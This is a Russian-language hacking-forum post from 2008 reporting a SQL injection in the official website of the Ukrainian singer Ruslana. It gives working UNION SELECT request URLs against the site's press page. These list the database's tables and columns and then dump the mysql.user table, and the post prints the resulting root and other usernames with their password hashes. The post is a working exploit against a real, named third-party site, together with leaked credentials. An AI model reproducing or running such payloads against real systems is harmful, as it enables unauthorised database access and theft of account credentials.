03.10.2008, 00:20
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
С нами:
9289352
Репутация:
25
|
|
офф сайт украинской певицы Русланы
там 5-я версия скули.
Код:
http://www.ruslana.ua/ua/press.php?ln=-1+union+select+concat_ws(0x3a3a3a,table_name,column_name)+from+information_schema.columns--
одно поле...оно же принтабельно
Код:
http://www.ruslana.ua/ua/press.php?ln=-1+union+select+1--
имеем права на доступ к таблице mysql
Код:
http://www.ruslana.ua/ua/press.php?ln=-1+union+select+concat_ws(0x3a3a3a,user,password)+from+mysql.user--
показало три юзера
root:::*A6D3F6E96E35BC972C685AFE44507517B5C87F4C
root:::
astra:::*C301AD7E05B309F011D781BA2E1CD97AF0CC9622
дальше ничё особо не делал =) |
|
|